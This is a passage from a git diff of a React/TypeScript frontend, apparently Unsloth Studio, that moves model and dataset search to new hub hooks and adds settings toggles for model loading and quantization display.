   const { error: tokenValidationError, isChecking: isCheckingToken } =
@@ -128,10 +132,11 @@ export function ModelSelectionStep() {
   }, [hfResults, gpu, trainingMethod]);
 
   const comboboxAnchorRef = useRef<HTMLDivElement>(null);
-  const { scrollRef, sentinelRef } = useInfiniteScroll(
-    fetchMore,
-    hfResults.length,
-  );
+  const { scrollRef, sentinelRef } = useHubInfiniteScroll(fetchMore, scannedCount, {
+    isFetching: isLoading || isLoadingMore,
+    resultCount: hfResults.length,
+    resetKey: debouncedQuery,
+  });
 
   useEffect(() => {
     ensureModelDefaultsLoaded();
diff --git a/studio/frontend/src/features/recipe-studio/components/shared/hf-dataset-combobox.tsx b/studio/frontend/src/features/recipe-studio/components/shared/hf-dataset-combobox.tsx
index b02033320b..c8ae67ad9b 100644
--- a/studio/frontend/src/features/recipe-studio/components/shared/hf-dataset-combobox.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/shared/hf-dataset-combobox.tsx
@@ -10,7 +10,8 @@ import {
   ComboboxList,
 } from "@/components/ui/combobox";
 import { Spinner } from "@/components/ui/spinner";
-import { useDebouncedValue, useHfDatasetSearch } from "@/hooks";
+import { useDebouncedValue } from "@/hooks";
+import { useHubDatasetSearch } from "@/features/hub/hooks/use-hub-dataset-search";
 import { type ReactElement, useEffect, useMemo, useRef, useState } from "react";
 
 type HfDatasetComboboxProps = {
@@ -39,7 +40,7 @@ export function HfDatasetCombobox({
     setInputValue(value);
   }, [value]);
 
-  const { results, isLoading, error } = useHfDatasetSearch(debouncedQuery, {
+  const { results, isLoading, error } = useHubDatasetSearch(debouncedQuery, {
     accessToken,
   });
 
diff --git a/studio/frontend/src/features/settings/components/settings-row.tsx b/studio/frontend/src/features/settings/components/settings-row.tsx
index afb535bc64..3c049d2f99 100644
--- a/studio/frontend/src/features/settings/components/settings-row.tsx
+++ b/studio/frontend/src/features/settings/components/settings-row.tsx
@@ -11,23 +11,32 @@ export function SettingsRow({
   children,
   destructive,
   className,
+  alignTop,
 }: {
   label: string;
-  description?: string;
+  description?: ReactNode;
   icon?: ReactNode;
   children?: ReactNode;
   destructive?: boolean;
   className?: string;
+  /** Top-align the control instead of centering it, for tall descriptions. */
+  alignTop?: boolean;
 }) {
   return (
     <div
       className={cn(
-        "flex items-center justify-between gap-6 py-3",
+        "flex justify-between gap-6 py-3",
+        alignTop ? "items-start" : "items-center",
         destructive && "border-t border-border/60 mt-2 pt-4",
         className,
       )}
     >
-      <div className="flex min-w-0 items-center gap-2.5">
+      <div
+        className={cn(
+          "flex min-w-0 gap-2.5",
+          alignTop ? "items-start" : "items-center",
+        )}
+      >
         {icon ? (
           <span className="flex shrink-0 items-center text-foreground">
             {icon}
@@ -42,7 +51,18 @@ export function SettingsRow({
           ) : null}
         </div>
       </div>
-      {children ? <div className="flex shrink-0 items-center">{children}</div> : null}
+      {children ? (
+        <div
+          className={cn(
+            "flex shrink-0",
+            // Drop the control past the label row so it lines up with the first
+            // description line instead of the label.
+            alignTop ? "items-start pt-[21px]" : "items-center",
+          )}
+        >
+          {children}
+        </div>
+      ) : null}
     </div>
   );
 }
diff --git a/studio/frontend/src/features/settings/settings-dialog.tsx b/studio/frontend/src/features/settings/settings-dialog.tsx
index 4255dc1c93..0ee0dd0a7c 100644
--- a/studio/frontend/src/features/settings/settings-dialog.tsx
+++ b/studio/frontend/src/features/settings/settings-dialog.tsx
@@ -7,7 +7,7 @@ import {
   DialogDescription,
   DialogTitle,
 } from "@/components/ui/dialog";
-import { useT, type TranslationKey } from "@/i18n";
+import { type TranslationKey, useT } from "@/i18n";
 import { cn } from "@/lib/utils";
 import {
   Cancel01Icon,
@@ -23,8 +23,8 @@ import { HugeiconsIcon } from "@hugeicons/react";
 import { motion, useReducedMotion } from "motion/react";
 import { useEffect, useRef } from "react";
 import {
-  useSettingsDialogStore,
   type SettingsTab,
+  useSettingsDialogStore,
 } from "./stores/settings-dialog-store";
 import { AboutTab } from "./tabs/about-tab";
 import { ApiKeysTab } from "./tabs/api-keys-tab";
@@ -49,12 +49,16 @@ const TABS: TabDef[] = [
     labelKey: "settings.tabs.appearance",
     icon: PaintBrush02Icon,
   },
-  { id: "chat", labelKey: "settings.tabs.chat", icon: Message01Icon },
+  {
+    id: "chat",
+    labelKey: "settings.tabs.chat",
+    icon: Message01Icon,
+    badgeKey: "common.new",
+  },
   {
     id: "api-keys",
     labelKey: "settings.tabs.apiKeys",
     icon: Globe02Icon,
-    badgeKey: "common.new",
   },
   {
     id: "connections",
@@ -134,7 +138,9 @@ export function SettingsDialog() {
           "max-sm:h-dvh max-sm:w-dvw max-sm:!max-w-none max-sm:rounded-none",
         )}
       >
-        <DialogTitle className="sr-only">{t("settings.dialog.title")}</DialogTitle>
+        <DialogTitle className="sr-only">
+          {t("settings.dialog.title")}
+        </DialogTitle>
         <DialogDescription className="sr-only">
           {t("settings.dialog.description")}
         </DialogDescription>
diff --git a/studio/frontend/src/features/settings/tabs/chat-tab.tsx b/studio/frontend/src/features/settings/tabs/chat-tab.tsx
index 262b23e67d..b26b09e022 100644
--- a/studio/frontend/src/features/settings/tabs/chat-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/chat-tab.tsx
@@ -2,8 +2,6 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { Button } from "@/components/ui/button";
-import { Switch } from "@/components/ui/switch";
-import { toast } from "@/lib/toast";
 import {
   Dialog,
   DialogContent,
@@ -22,19 +20,21 @@ import {
   DropdownMenuSubTrigger,
   DropdownMenuTrigger,
 } from "@/components/ui/dropdown-menu";
+import { Switch } from "@/components/ui/switch";
 import {
   EXPORT_FORMATS_LIST,
+  type PlusMenuItemId,
   bulkExportConversationsByScope,
   clearAllChats,
   countAllChats,
   downloadChatExport,
   importConversationsFromFile,
-  useChatRuntimeStore,
   useChatPreferencesStore,
-  type PlusMenuItemId,
+  useChatRuntimeStore,
   usePlusMenuPrefsStore,
 } from "@/features/chat";
 import { useT } from "@/i18n";
+import { toast } from "@/lib/toast";
 import {
   Bookmark02Icon,
   Delete02Icon,
@@ -43,6 +43,7 @@ import {
   Folder01Icon,
   McpServerIcon,
   PencilRulerIcon,
+  Settings02Icon,
   ShieldBanIcon,
   Upload01Icon,
 } from "@hugeicons/core-free-icons";
@@ -50,99 +51,102 @@ import { HugeiconsIcon } from "@hugeicons/react";
 import { Columns2Icon, PlusIcon } from "lucide-react";
 import { useEffect, useRef, useState } from "react";
 import type { ReactNode } from "react";
+import { ArchivedChatsDialog } from "../components/archived-chats-dialog";
 import { SettingsRow } from "../components/settings-row";
 import { SettingsSection } from "../components/settings-section";
-import { ArchivedChatsDialog } from "../components/archived-chats-dialog";
 import { useSettingsDialogStore } from "../stores/settings-dialog-store";
 
 // Adjustable "+" menu items shown in settings, in display order. Icons mirror
 // the ones used in the composer + menu itself.
 const PLUS_MENU_ICON_CLASS = "size-[18px]";
-const PLUS_MENU_SETTINGS: { id: PlusMenuItemId; label: string; icon: ReactNode }[] =
-  [
-    {
-      id: "chatWithFiles",
-      label: "Chat with Files",
-      icon: (
-        <HugeiconsIcon
-          icon={FileDatabaseIcon}
-          strokeWidth={2}
-          className={PLUS_MENU_ICON_CLASS}
-        />
-      ),
-    },
-    {
-      id: "mcp",
-      label: "MCP",
-      icon: (
-        <HugeiconsIcon
-          icon={McpServerIcon}
-          strokeWidth={2}
-          className={PLUS_MENU_ICON_CLASS}
-        />
-      ),
-    },
-    {
-      id: "savedPrompts",
-      label: "Saved prompts",
-      icon: (
-        <HugeiconsIcon
-          icon={Bookmark02Icon}
-          strokeWidth={2}
-          className={PLUS_MENU_ICON_CLASS}
-        />
-      ),
-    },
-    {
-      id: "compareChat",
-      label: "Compare chat",
-      icon: <Columns2Icon className={PLUS_MENU_ICON_CLASS} />,
-    },
-    {
-      id: "exportChat",
-      label: "Export chat",
-      icon: (
-        <HugeiconsIcon
-          icon={Download01Icon}
-          strokeWidth={2}
-          className={PLUS_MENU_ICON_CLASS}
-        />
-      ),
-    },
-    {
-      id: "canvas",
-      label: "Canvas",
-      icon: (
-        <HugeiconsIcon
-          icon={PencilRulerIcon}
-          strokeWidth={2}
-          className={PLUS_MENU_ICON_CLASS}
-        />
-      ),
-    },
-    {
-      id: "projects",
-      label: "Projects",
-      icon: (
-        <HugeiconsIcon
-          icon={Folder01Icon}
-          strokeWidth={2}
-          className={PLUS_MENU_ICON_CLASS}
-        />
-      ),
-    },
-    {
-      id: "bypassPermissions",
-      label: "Bypass permissions",
-      icon: (
-        <HugeiconsIcon
-          icon={ShieldBanIcon}
-          strokeWidth={2}
-          className={PLUS_MENU_ICON_CLASS}
-        />
-      ),
-    },
-  ];
+const PLUS_MENU_SETTINGS: {
+  id: PlusMenuItemId;
+  label: string;
+  icon: ReactNode;
+}[] = [
+  {
+    id: "chatWithFiles",
+    label: "Chat with Files (RAG)",
+    icon: (
+      <HugeiconsIcon
+        icon={FileDatabaseIcon}
+        strokeWidth={2}
+        className={PLUS_MENU_ICON_CLASS}
+      />
+    ),
+  },
+  {
+    id: "mcp",
+    label: "MCP",
+    icon: (
+      <HugeiconsIcon
+        icon={McpServerIcon}
+        strokeWidth={2}
+        className={PLUS_MENU_ICON_CLASS}
+      />
+    ),
+  },
+  {
+    id: "savedPrompts",
+    label: "Saved prompts",
+    icon: (
+      <HugeiconsIcon
+        icon={Bookmark02Icon}
+        strokeWidth={2}
+        className={PLUS_MENU_ICON_CLASS}
+      />
+    ),
+  },
+  {
+    id: "compareChat",
+    label: "Compare chat",
+    icon: <Columns2Icon className={PLUS_MENU_ICON_CLASS} />,
+  },
+  {
+    id: "exportChat",
+    label: "Export chat",
+    icon: (
+      <HugeiconsIcon
+        icon={Download01Icon}
+        strokeWidth={2}
+        className={PLUS_MENU_ICON_CLASS}
+      />
+    ),
+  },
+  {
+    id: "canvas",
+    label: "Canvas",
+    icon: (
+      <HugeiconsIcon
+        icon={PencilRulerIcon}
+        strokeWidth={2}
+        className={PLUS_MENU_ICON_CLASS}
+      />
+    ),
+  },
+  {
+    id: "projects",
+    label: "Projects",
+    icon: (
+      <HugeiconsIcon
+        icon={Folder01Icon}
+        strokeWidth={2}
+        className={PLUS_MENU_ICON_CLASS}
+      />
+    ),
+  },
+  {
+    id: "bypassPermissions",
+    label: "Bypass permissions",
+    icon: (
+      <HugeiconsIcon
+        icon={ShieldBanIcon}
+        strokeWidth={2}
+        className={PLUS_MENU_ICON_CLASS}
+      />
+    ),
+  },
+];
 
 export function ChatTab() {
   const t = useT();
@@ -181,6 +185,22 @@ export function ChatTab() {
   const hydratePersistedSettings = useChatRuntimeStore(
     (state) => state.hydratePersistedSettings,
   );
+  const loadOnSelection = useChatRuntimeStore((state) => state.loadOnSelection);
+  const setLoadOnSelection = useChatRuntimeStore(
+    (state) => state.setLoadOnSelection,
+  );
+  const expandQuantizations = useChatRuntimeStore(
+    (state) => state.expandQuantizations,
+  );
+  const setExpandQuantizations = useChatRuntimeStore(
+    (state) => state.setExpandQuantizations,
+  );
+  const showAllQuantizations = useChatRuntimeStore(
+    (state) => state.showAllQuantizations,
+  );
+  const setShowAllQuantizations = useChatRuntimeStore(
+    (state) => state.setShowAllQuantizations,
+  );
   const confirmDeleteChats = useChatPreferencesStore(
     (state) => state.confirmDeleteChats,
   );
@@ -295,16 +315,83 @@ export function ChatTab() {
         </p>
       </header>
 
+      <SettingsSection title="Select model settings">
+        <SettingsRow
+          label="Load on selection"
+          alignTop={true}
+          description={
+            <span>
+              On: Unsloth auto-picks the best settings and loads it.
+              <br />
+              Off: opens Run settings to customize, then load.
+              <br />
+              The gear always opens Run settings:{" "}
+              <span className="ml-2 inline-flex items-center gap-3 align-middle">
+                <span className="font-mono text-xs text-foreground">
+                  Q4_K_M
+                </span>
+                <span className="text-[9px] font-medium text-green-400">
+                  downloaded
+                </span>
+                <span className="text-[10px] text-muted-foreground">16 GB</span>
+                <span className="inline-flex size-4 items-center justify-center rounded bg-black/[0.06] dark:bg-white/[0.08]">
+                  <HugeiconsIcon
+                    icon={Settings02Icon}
+                    strokeWidth={1.75}
+                    className="size-2.5 text-muted-foreground/80"
+                  />
+                </span>
+              </span>
+            </span>
+          }
+        >
+          <Switch
+            checked={loadOnSelection}
+            onCheckedChange={setLoadOnSelection}
+          />
+        </SettingsRow>
+        <SettingsRow
+          label="Expand quantizations"
+          description={
+            <span>
+              On: On Device GGUF models show their quantizations right away.
+              <br />
+              Off: click a model to view its quantizations.
+            </span>
+          }
+        >
+          <Switch
+            checked={expandQuantizations}
+            onCheckedChange={setExpandQuantizations}
+          />
+        </SettingsRow>
+        <SettingsRow
+          label="Show all quantizations"
+          description={
+            <span>
+              On: list every On Device quantization, including not downloaded.
+              <br />
+              Off: show only downloaded quantizations.
+            </span>
+          }
+        >
+          <Switch
+            checked={showAllQuantizations}
+            onCheckedChange={setShowAllQuantizations}
+          />
+        </SettingsRow>
+      </SettingsSection>
+
       <SettingsSection
         title="Chat menu"
         description={
           <>
-            Choose which items are pinned in chat's{" "}
+            Pin items to chat's{" "}
             <PlusIcon
               aria-label="+"
               className="inline size-3.5 align-[-2px] stroke-[2px]"
             />{" "}
-            side menu. Unpinned items move into “More”.
+            side menu. Others move into “More”.
           </>
         }
       >
@@ -477,7 +564,7 @@ export function ChatTab() {
         </SettingsRow>
 
         <SettingsRow
-          destructive
+          destructive={true}
           // divide-y already draws the row separator; drop the extra border.
           className="border-t-0 mt-0 pt-3"
           label={t("settings.chat.clearAllChats")}
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index 0ecd6af189..975eeb69f4 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -24,25 +24,25 @@ import {
   setShowLlamaUpdateBanner,
   useShowLlamaUpdateBanner,
 } from "@/hooks/use-llama-update-pref";
+import { LOCALE_STORAGE_KEY, useT } from "@/i18n";
+import { useNavigate, useRouterState } from "@tanstack/react-router";
+import { Eye, EyeOff } from "lucide-react";
+import { useEffect, useRef, useState } from "react";
 import {
+  type HelperPrecacheSettings,
   loadHelperPrecacheSettings,
   updateHelperPrecacheSettings,
-  type HelperPrecacheSettings,
 } from "../api/helper-precache";
 import {
   DEFAULT_UPLOAD_LIMIT_MB,
+  type UploadLimitSettings,
   loadUploadLimitSettings,
   updateUploadLimitSettings,
-  type UploadLimitSettings,
 } from "../api/upload-limit";
-import { useSettingsDialogStore } from "../stores/settings-dialog-store";
-import { LOCALE_STORAGE_KEY, useT } from "@/i18n";
-import { useNavigate, useRouterState } from "@tanstack/react-router";
-import { useEffect, useRef, useState } from "react";
-import { Eye, EyeOff } from "lucide-react";
 import { SettingsRow } from "../components/settings-row";
 import { SettingsSection } from "../components/settings-section";
 import { StudioVersionSection } from "../components/studio-version-section";
+import { useSettingsDialogStore } from "../stores/settings-dialog-store";
 
 // Keys cleared by "Reset all local preferences".
 // NEVER include auth/session keys here — clearing them would log the user out
@@ -66,6 +66,11 @@ const PREFS_KEYS: string[] = [
   "unsloth_chat_inference_params",
   "unsloth_chat_collapsible_state",
   "unsloth_chat_preferences",
+  "unsloth_load_settings",
+  // Model selector settings ("Select model settings" group)
+  "unsloth_chat_load_on_selection",
+  "unsloth_chat_expand_quantizations",
+  "unsloth_chat_show_all_quantizations",
   // Chat presets
   "unsloth_chat_custom_presets",
   "unsloth_chat_active_preset",
@@ -108,7 +113,7 @@ export function GeneralTab() {
       pathname: s.location.pathname,
       search:
         "searchStr" in s.location
-          ? (s.location as { searchStr?: string }).searchStr ?? ""
+          ? ((s.location as { searchStr?: string }).searchStr ?? "")
           : typeof window !== "undefined"
             ? window.location.search
             : "",
@@ -176,7 +181,9 @@ export function GeneralTab() {
       .catch((error) => {
         if (cancelled) return;
         setUploadLimitError(
-          error instanceof Error ? error.message : "Failed to load upload limit.",
+          error instanceof Error
+            ? error.message
+            : "Failed to load upload limit.",
         );
       });
     return () => {
@@ -324,7 +331,11 @@ export function GeneralTab() {
               }
               tabIndex={-1}
             >
-              {showToken ? <EyeOff className="size-3.5" /> : <Eye className="size-3.5" />}
+              {showToken ? (
+                <EyeOff className="size-3.5" />
+              ) : (
+                <Eye className="size-3.5" />
+              )}
             </button>
           </div>
         </SettingsRow>
@@ -366,7 +377,19 @@ export function GeneralTab() {
         </SettingsRow>
       </SettingsSection>
 
-      <StudioVersionSection />
+      <SettingsSection title={t("settings.general.notifications.sectionTitle")}>
+        <SettingsRow
+          label={t("settings.general.notifications.showLlamaUpdates")}
+          description={t(
+            "settings.general.notifications.showLlamaUpdatesDescription",
+          )}
+        >
+          <Switch
+            checked={showLlamaUpdates}
+            onCheckedChange={setShowLlamaUpdateBanner}
+          />
+        </SettingsRow>
+      </SettingsSection>
 
       <SettingsSection title={t("settings.general.helperLlm.sectionTitle")}>
         <SettingsRow
@@ -398,20 +421,6 @@ export function GeneralTab() {
         </SettingsRow>
       </SettingsSection>
 
-      <SettingsSection title={t("settings.general.notifications.sectionTitle")}>
-        <SettingsRow
-          label={t("settings.general.notifications.showLlamaUpdates")}
-          description={t(
-            "settings.general.notifications.showLlamaUpdatesDescription",
-          )}
-        >
-          <Switch
-            checked={showLlamaUpdates}
-            onCheckedChange={setShowLlamaUpdateBanner}
-          />
-        </SettingsRow>
-      </SettingsSection>
-
       <SettingsSection title={t("settings.general.uploads.sectionTitle")}>
         <SettingsRow
           label={t("settings.general.uploads.maxUploadSize")}
@@ -444,9 +453,7 @@ export function GeneralTab() {
                 disabled={isSavingUploadLimit}
                 onClick={() => void saveUploadLimit()}
               >
-                {isSavingUploadLimit
-                  ? t("common.saving")
-                  : t("common.save")}
+                {isSavingUploadLimit ? t("common.saving") : t("common.save")}
               </Button>
             </div>
             {uploadLimitError ? (
@@ -479,9 +486,11 @@ export function GeneralTab() {
         </SettingsSection>
       )}
 
-      <SettingsSection title={t("settings.general.resetPreferences.sectionTitle")}>
+      <SettingsSection
+        title={t("settings.general.resetPreferences.sectionTitle")}
+      >
         <SettingsRow
-          destructive
+          destructive={true}
           label={t("settings.general.resetPreferences.label")}
           description={t("settings.general.resetPreferences.description")}
         >
diff --git a/studio/frontend/src/features/studio/sections/dataset-section.tsx b/studio/frontend/src/features/studio/sections/dataset-section.tsx
index 38dbc8742b..32f7990d07 100644
--- a/studio/frontend/src/features/studio/sections/dataset-section.tsx
+++ b/studio/frontend/src/features/studio/sections/dataset-section.tsx
@@ -33,12 +33,9 @@ import {
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
-import {
-  useDebouncedValue,
-  useHfDatasetSearch,
-  useHfTokenValidation,
-  useInfiniteScroll,
-} from "@/hooks";
+import { useDebouncedValue, useHfTokenValidation } from "@/hooks";
+import { useHubDatasetSearch } from "@/features/hub/hooks/use-hub-dataset-search";
+import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scroll";
 import {
   HfDatasetSubsetSplitSelectors,
   listLocalDatasets,
@@ -311,8 +308,9 @@ export function DatasetSection() {
     isLoading,
     isLoadingMore,
     fetchMore,
+    scannedCount,
     error: hfSearchError,
-  } = useHfDatasetSearch(pickerTab === "huggingface" ? debouncedQuery : "", {
+  } = useHubDatasetSearch(pickerTab === "huggingface" ? debouncedQuery : "", {
     modelType: effectiveModelType,
     accessToken: hfToken || undefined,
     enabled: pickerTab === "huggingface",
@@ -421,10 +419,12 @@ export function DatasetSection() {
   const comboboxAnchorRef = useRef<HTMLDivElement>(null);
   const fileInputRef = useRef<HTMLInputElement>(null);
   const evalFileInputRef = useRef<HTMLInputElement>(null);
-  const { scrollRef, sentinelRef } = useInfiniteScroll(
-    fetchMore,
-    hfResults.length,
-  );
+  const { scrollRef, sentinelRef } = useHubInfiniteScroll(fetchMore, scannedCount, {
+    enabled: pickerTab === "huggingface",
+    isFetching: isLoading || isLoadingMore,
+    resultCount: hfResults.length,
+    resetKey: debouncedQuery,
+  });
 
   const [isUploading, setIsUploading] = useState(false);
   const [isDatasetDragOver, setIsDatasetDragOver] = useState(false);
diff --git a/studio/frontend/src/features/studio/sections/model-section.tsx b/studio/frontend/src/features/studio/sections/model-section.tsx
index e37620cc0a..c8f36b397c 100644
--- a/studio/frontend/src/features/studio/sections/model-section.tsx
+++ b/studio/frontend/src/features/studio/sections/model-section.tsx
@@ -41,10 +41,10 @@ import {
 import {
   useDebouncedValue,
   useGpuInfo,
-  useHfModelSearch,
   useHfTokenValidation,
-  useInfiniteScroll,
 } from "@/hooks";
+import { useHubModelSearch } from "@/features/hub/hooks/use-hub-model-search";
+import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scroll";
 import { extractParamLabel } from "@/lib/model-size";
 import { formatCompact } from "@/lib/utils";
 import {
@@ -168,12 +168,16 @@ export function ModelSection() {
     isLoading,
     isLoadingMore,
     fetchMore,
+    scannedCount,
     error: hfSearchError,
-  } = useHfModelSearch(debouncedQuery, {
+  } = useHubModelSearch(debouncedQuery, {
     task,
     accessToken: debouncedHfToken || undefined,
     excludeGguf: true,
     priorityIds: PRIORITY_TRAINING_MODELS,
+    // Curated unsloth listing by default, but a typed query searches the whole
+    // Hub (unsloth floated first) so non-unsloth base models stay selectable.
+    ownerScope: debouncedQuery.trim() ? "all" : "unsloth",
   });
 
   const { error: tokenValidationError, isChecking: isCheckingToken } =
@@ -255,10 +259,11 @@ export function ModelSection() {
 
   const comboboxAnchorRef = useRef<HTMLDivElement>(null);
   const localComboboxAnchorRef = useRef<HTMLDivElement>(null);
-  const { scrollRef, sentinelRef } = useInfiniteScroll(
-    fetchMore,
-    hfResults.length,
-  );
+  const { scrollRef, sentinelRef } = useHubInfiniteScroll(fetchMore, scannedCount, {
+    isFetching: isLoading || isLoadingMore,
+    resultCount: hfResults.length,
+    resetKey: debouncedQuery,
+  });
 
   return (
     <div data-tour="studio-model" className="w-full min-w-0">
diff --git a/studio/frontend/src/hooks/index.ts b/studio/frontend/src/hooks/index.ts
index cfbd8e5115..d5c923d57d 100644
--- a/studio/frontend/src/hooks/index.ts
+++ b/studio/frontend/src/hooks/index.ts
@@ -5,11 +5,7 @@ export { useDebouncedValue } from "./use-debounced-value";
 export { useGpuInfo } from "./use-gpu-info";
 export { useGpuUtilization } from "./use-gpu-utilization";
 export { useHardwareInfo } from "./use-hardware-info";
-export { useHfModelSearch } from "./use-hf-model-search";
-export { useRecommendedModelVram } from "./use-recommended-model-vram";
-export { useHfDatasetSearch } from "./use-hf-dataset-search";
 export { useHfDatasetSplits } from "./use-hf-dataset-splits";
 export { useHfTokenValidation } from "./use-hf-token-validation";
-export { useInfiniteScroll } from "./use-infinite-scroll";
 export { useTauriBackend } from "./use-tauri-backend";
 export { useCollapseScrollLock } from "./use-collapse-scroll-lock";
diff --git a/studio/frontend/src/hooks/use-gpu-info.ts b/studio/frontend/src/hooks/use-gpu-info.ts
index c7a2852067..eb4d89abd8 100644
--- a/studio/frontend/src/hooks/use-gpu-info.ts
+++ b/studio/frontend/src/hooks/use-gpu-info.ts
@@ -31,15 +31,22 @@ async function fetchGpuOnce(): Promise<GpuInfo> {
       const res = await authFetch("/api/system");
       if (!res.ok) throw new Error(`HTTP ${res.status}`);
       const data = await res.json();
+      const ramAvailableGb = data?.memory?.available_gb ?? 0;
       const gpuData = data?.gpu;
-      if (!gpuData?.available || !gpuData.devices?.length) return DEFAULT_GPU;
+      if (!gpuData?.available || !gpuData.devices?.length) {
+        // No discrete GPU (e.g. Mac): still surface system RAM so memory math
+        // (unified memory) has a budget to work with.
+        const info: GpuInfo = { ...DEFAULT_GPU, systemRamAvailableGb: ramAvailableGb };
+        cachedGpu = info;
+        return info;
+      }
       const devices = gpuData.devices as Array<{ name?: string; memory_total_gb?: number }>;
       const totalGb = devices.reduce((sum, d) => sum + (d.memory_total_gb ?? 0), 0);
       const info: GpuInfo = {
         available: true,
         name: devices[0]?.name ?? "Unknown",
         memoryTotalGb: totalGb,
-        systemRamAvailableGb: data?.memory?.available_gb ?? 0,
+        systemRamAvailableGb: ramAvailableGb,
       };
       cachedGpu = info;
       return info;
diff --git a/studio/frontend/src/hooks/use-hf-dataset-search.ts b/studio/frontend/src/hooks/use-hf-dataset-search.ts
deleted file mode 100644
index f8863f328f..0000000000
--- a/studio/frontend/src/hooks/use-hf-dataset-search.ts
+++ /dev/null
@@ -1,398 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-import { listDatasets } from "@huggingface/hub";
-import { useCallback, useMemo } from "react";
-import type { ModelType } from "@/types/training";
-import { useHfPaginatedSearch } from "./use-hf-paginated-search";
-
-interface DatasetInfoSplit {
-  name: string;
-  // biome-ignore lint/style/useNamingConvention: external schema
-  num_bytes: number;
-  // biome-ignore lint/style/useNamingConvention: external schema
-  num_examples: number;
-}
-
-interface CardDataWithInfo {
-  size_categories?: string[];
-  pretty_name?: string;
-  dataset_info?:
-    | {
-        splits?: DatasetInfoSplit[];
-        download_size?: number;
-        dataset_size?: number;
-      }
-    | Array<{ splits?: DatasetInfoSplit[] }>;
-}
-
-function extractTotalExamples(
-  cardData: CardDataWithInfo | undefined,
-): number | undefined {
-  if (!cardData?.dataset_info) {
-    return undefined;
-  }
-
-  const infos = Array.isArray(cardData.dataset_info)
-    ? cardData.dataset_info
-    : [cardData.dataset_info];
-
-  const examples = infos
-    .flatMap((info) => info.splits ?? [])
-    .filter((s) => typeof s.num_examples === "number")
-    .map((s) => s.num_examples);
-
-  return examples.length > 0 ? examples.reduce((a, b) => a + b, 0) : undefined;
-}
-
-export interface HfDatasetResult {
-  id: string;
-  downloads: number;
-  likes: number;
-  totalExamples?: number;
-  sizeCategory?: string;
-  taskCategories: string[];
-  plainTags: string[];
-}
-
-function mapDataset(raw: unknown): HfDatasetResult {
-  const ds = raw as {
-    name: string;
-    downloads: number;
-    likes: number;
-    tags?: string[];
-    cardData?: unknown;
-  };
-  const card = ds.cardData as CardDataWithInfo | undefined;
-  const tags = ds.tags ?? [];
-  const taskCategories = tags
-    .filter((t) => t.startsWith("task_categories:"))
-    .map((t) => t.slice("task_categories:".length));
-  const plainTags = tags.filter((t) => !t.includes(":"));
-  return {
-    id: ds.name,
-    downloads: ds.downloads,
-    likes: ds.likes,
-    totalExamples: extractTotalExamples(card),
-    sizeCategory: card?.size_categories?.[0],
-    taskCategories,
-    plainTags,
-  };
-}
-
-function withTrendingSort(
-  input: Parameters<typeof fetch>[0],
-  init?: Parameters<typeof fetch>[1],
-): ReturnType<typeof fetch> {
-  const rawUrl =
-    typeof input === "string"
-      ? input
-      : input instanceof URL
-        ? input.toString()
-        : input.url;
-  const url = new URL(rawUrl);
-
-  if (!url.searchParams.has("sort")) {
-    url.searchParams.set("sort", "trendingScore");
-  }
-  if (!url.searchParams.has("direction")) {
-    url.searchParams.set("direction", "-1");
-  }
-
-  return fetch(url, init);
-}
-
-type DatasetRelevance = "incompatible" | "neutral" | "boosted";
-
-const BOOSTED_TASK_CATEGORIES: Record<ModelType, Set<string>> = {
-  text: new Set([
-    "text-generation",
-    "text2text-generation",
-    "question-answering",
-    "summarization",
-    "conversational",
-  ]),
-  vision: new Set([
-    "image-text-to-text",
-    "visual-question-answering",
-    "image-to-text",
-    "image-captioning",
-  ]),
-  audio: new Set([
-    "text-to-speech",
-    "text-to-audio",
-    "automatic-speech-recognition",
-  ]),
-  embeddings: new Set([
-    "feature-extraction",
-    "sentence-similarity",
-    "text-retrieval",
-  ]),
-};
-
-const INCOMPATIBLE_TASKS_ALL_MODELS = new Set([
-  "text-to-3d",
-  "image-to-3d",
-  "robotics",
-  "reinforcement-learning",
-  "tabular-classification",
-  "tabular-regression",
-  "time-series-forecasting",
-]);
-
-const PRETRAINING_PLAIN_TAGS = new Set(["pretraining", "pre-training"]);
-const OCR_PLAIN_TAGS = new Set(["ocr", "document-ocr"]);
-
-const PRETRAINING_SIZE_CATEGORIES = new Set([
-  "5M<n<10M",
-  "10M<n<100M",
-  "100M<n<1B",
-  "1B<n<10B",
-  "10B<n<100B",
-  "100B<n<1T",
-  "n>1T",
-]);
-
-const OCR_OR_VISION_TEXT_TASKS = new Set([
-  "image-to-text",
-  "image-captioning",
-  "visual-question-answering",
-  "document-question-answering",
-]);
-
-const CURATED_EMPTY_QUERY_DATASET_IDS: Partial<Record<ModelType, string[]>> = {
-  text: [
-    "unsloth/alpaca-cleaned",
-    "unsloth/OpenMathReasoning-mini",
-    "mlabonne/FineTome-100k",
-    "openai/gsm8k",
-    "philschmid/guanaco-sharegpt-style",
-    "open-r1/DAPO-Math-17k-Processed",
-    "HuggingFaceH4/Multilingual-Thinking",
-    "HuggingFaceH4/ultrafeedback_binarized",
-    "reciperesearch/dolphin-sft-v0.1-preference",
-    "roneneldan/TinyStories",
-    "FreedomIntelligence/alpaca-gpt4-korean",
-    "Goedel-LM/SFT_dataset_v2",
-    "allenai/tulu-3-sft-mixture",
-    "HuggingFaceH4/no_robots",
-    "Magpie-Align/Magpie-Air-300K-Filtered",
-    "teknium/OpenHermes-2.5",
-    "databricks/databricks-dolly-15k",
-    "tatsu-lab/alpaca",
-    "garage-bAInd/Open-Platypus",
-    "microsoft/orca-math-word-problems-200k",
-    "Open-Orca/OpenOrca",
-    "openbmb/UltraInteract_sft",
-  ],
-  vision: [
-    "unsloth/LaTeX_OCR",
-    "unsloth/llava-instruct-mix-vsft-mini",
-    "unsloth/Radiology_mini",
-    "AI4Math/MathVista",
-    "AI4Math/MathVerse",
-    "ChongyanChen/VQAonline",
-    "lmms-lab/VQAv2",
-    "hezarai/parsynth-ocr-200k",
